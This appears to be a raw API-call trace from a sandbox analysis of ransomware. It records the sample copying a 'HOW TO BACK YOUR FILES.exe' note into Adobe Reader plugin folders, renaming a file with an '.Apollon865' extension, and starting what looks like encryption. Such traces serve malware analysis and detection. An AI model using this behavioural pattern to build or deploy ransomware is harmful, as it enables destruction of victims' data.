	[0057.485] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY"
	[0057.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5a18 | out: hHeap=0x580000) returned 1
	[0057.485] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0057.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned 75
	[0057.485] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY"
	[0057.485] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.485] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.494] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.494] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a579ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a579ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.494] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.494] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.494] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS"
	[0057.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5978 | out: hHeap=0x580000) returned 1
	[0057.494] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0057.494] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned 75
	[0057.494] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS"
	[0057.494] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.494] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.502] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a579ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a579ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.503] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM"
	[0057.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0057.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0057.503] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned 75
	[0057.503] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM"
	[0057.503] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.503] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rum\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.511] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.511] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a5a0030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a5a0030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.511] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL"
	[0057.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afba0 | out: hHeap=0x580000) returned 1
	[0057.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0057.511] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned 75
	[0057.511] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL"
	[0057.511] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.520] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.520] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a5a0030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a5a0030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.520] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.521] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.521] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN"
	[0057.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb00 | out: hHeap=0x580000) returned 1
	[0057.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0057.521] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned 75
	[0057.521] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN"
	[0057.521] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.539] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.539] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a5ec2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a5ec2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.540] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.540] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.540] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV"
	[0057.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0057.540] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0057.540] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned 75
	[0057.540] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV"
	[0057.540] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.540] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a5ec2f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a5ec2f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.546] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.546] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.546] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE"
	[0057.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599580 | out: hHeap=0x580000) returned 1
	[0057.546] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0057.546] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned 75
	[0057.546] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE"
	[0057.546] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.546] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.654] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.654] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a6f6c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a6f6c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.654] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.655] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.655] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP"
	[0057.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x580000) returned 1
	[0057.655] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0057.655] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned 71
	[0057.655] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP"
	[0057.655] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.655] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.662] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a71cdf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a71cdf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.662] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.664] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT.Apollon865") returned 92
	[0057.664] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat.apollon865"), dwFlags=0x1) returned 1
	[0057.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0057.666] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2560) returned 1
	[0057.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.667] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.667] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.667] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.668] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x15c
	[0057.671] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x120000
	[0057.674] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.675] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.675] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0057.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0057.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0057.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0057.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.675] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.676] CloseHandle (hObject=0x15c) returned 1
	[0057.676] CloseHandle (hObject=0x154) returned 1
	[0057.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.676] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.676] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash.CHS", cAlternateFileName="")) returned 1
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.676] lstrcmpiW (lpString1="Flash.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0057.676] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.CHS" | out: lpString1="Flash.CHS") returned="Flash.CHS"
	[0057.676] lstrlenW (lpString="Flash.CHS") returned 9
